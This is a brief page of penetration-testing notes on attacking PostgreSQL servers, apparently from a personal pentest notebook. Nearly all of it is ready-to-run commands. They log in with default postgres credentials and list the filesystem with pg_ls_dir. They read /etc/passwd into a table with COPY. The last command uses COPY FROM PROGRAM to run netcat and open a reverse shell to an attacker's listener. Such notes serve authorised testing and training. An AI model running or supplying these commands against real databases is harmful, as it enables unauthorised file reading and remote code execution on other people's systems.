> For the complete documentation index, see [llms.txt](https://n3mosec.gitbook.io/pentest-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n3mosec.gitbook.io/pentest-notes/notes/methodologies-and-tools/scanning-and-enumeration/port-5432-postgres.md).

# Port 5432 - Postgres

```
psql -h $IP -p 5432 -U postgres -W postgres
```

```
\list, \c postgres, \d
```

```
select pg_ls_dir('/')
```

**Read a file:**

```
create table demo (t text); copy demo from '/etc/passwd'; select * from demo;
```

&#x20;

&#x20;

**Shell:**

* Check Nibbles, splodge for RCE
* Switch to db app:

```
\c app
drop table if exists cmd_exec;
create table cmd_exec(cmd_output text);
```

* Setup nc listener

```
COPY cmd_exec FROM PROGRAM 'nc $IP $PORT -e /bin/bash';
```
